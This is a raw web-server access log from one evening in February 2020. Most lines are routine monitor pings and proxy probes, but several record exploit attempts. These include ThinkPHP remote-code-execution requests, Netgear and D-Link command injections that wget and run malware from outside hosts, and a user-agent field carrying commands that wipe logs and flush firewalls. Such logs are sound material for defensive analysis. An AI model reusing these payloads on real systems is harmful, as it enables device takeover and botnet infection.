212.91.246.72 - - [25/Feb/2020:22:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [25/Feb/2020:22:04:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [25/Feb/2020:22:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.255.186.86 - - [25/Feb/2020:22:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:22:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.235.138.117 - - [25/Feb/2020:22:07:02 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.235.138.85 - - [25/Feb/2020:22:07:04 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
106.45.1.99 - - [25/Feb/2020:22:07:05 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
121.57.14.5 - - [25/Feb/2020:22:07:05 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.213.75.88 - - [25/Feb/2020:22:07:07 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.58.243.46 - - [25/Feb/2020:22:07:08 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
121.57.224.142 - - [25/Feb/2020:22:07:08 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.94.140.4 - - [25/Feb/2020:22:07:08 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.11.20.169 - - [25/Feb/2020:22:07:11 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:22:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.189.156.52 - - [25/Feb/2020:22:13:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:22:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.43.13.189 - - [25/Feb/2020:22:17:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:22:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [25/Feb/2020:22:18:24 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [25/Feb/2020:22:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.107.162.237 - - [25/Feb/2020:22:24:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:22:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.92.234.47 - - [25/Feb/2020:22:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:22:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.161.49 - - [25/Feb/2020:22:34:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [25/Feb/2020:22:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.174.206.85 - - [25/Feb/2020:22:38:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:22:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.233.220.190 - - [25/Feb/2020:22:38:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:22:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.27.138.90 - - [25/Feb/2020:22:44:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:22:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.151.167.224 - - [25/Feb/2020:22:46:46 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://183.151.167.224:43243/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
171.101.43.23 - - [25/Feb/2020:22:47:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 314 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:22:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.50.116.126 - - [25/Feb/2020:22:48:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:22:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.95.0.6 - - [25/Feb/2020:22:48:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:22:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.171.192.17 - - [25/Feb/2020:22:54:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:22:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.122.223.101 - - [25/Feb/2020:22:57:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:22:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.94.140.110 - - [25/Feb/2020:22:58:35 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01682558 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/537.36(KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:22:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.165.200.217 - - [25/Feb/2020:23:05:17 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
212.91.246.72 - - [25/Feb/2020:23:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [25/Feb/2020:23:08:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [25/Feb/2020:23:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.153.113.101 - - [25/Feb/2020:23:10:47 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [25/Feb/2020:23:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [25/Feb/2020:23:10:47 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [25/Feb/2020:23:10:47 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [25/Feb/2020:23:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
212.91.246.72 - - [25/Feb/2020:23:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.208.254 - - [25/Feb/2020:23:12:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [25/Feb/2020:23:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.4.71.44 - - [25/Feb/2020:23:13:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:23:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.250.63.78 - - [25/Feb/2020:23:15:56 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.145.19.116 - - [25/Feb/2020:23:15:57 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.34.178.131 - - [25/Feb/2020:23:15:57 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
106.45.0.155 - - [25/Feb/2020:23:15:57 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
116.252.0.64 - - [25/Feb/2020:23:15:58 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.160.233.182 - - [25/Feb/2020:23:15:59 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
119.39.47.202 - - [25/Feb/2020:23:15:59 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.249.100.31 - - [25/Feb/2020:23:16:00 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.94.195.103 - - [25/Feb/2020:23:16:04 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:23:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.235.47.43 - - [25/Feb/2020:23:20:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:23:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [25/Feb/2020:23:22:17 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:23:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.196.41.0 - - [25/Feb/2020:23:25:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:23:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.240.54.45 - - [25/Feb/2020:23:32:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:23:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.1.208.92 - - [25/Feb/2020:23:32:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:23:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.40.5.3 - - [25/Feb/2020:23:35:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:23:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
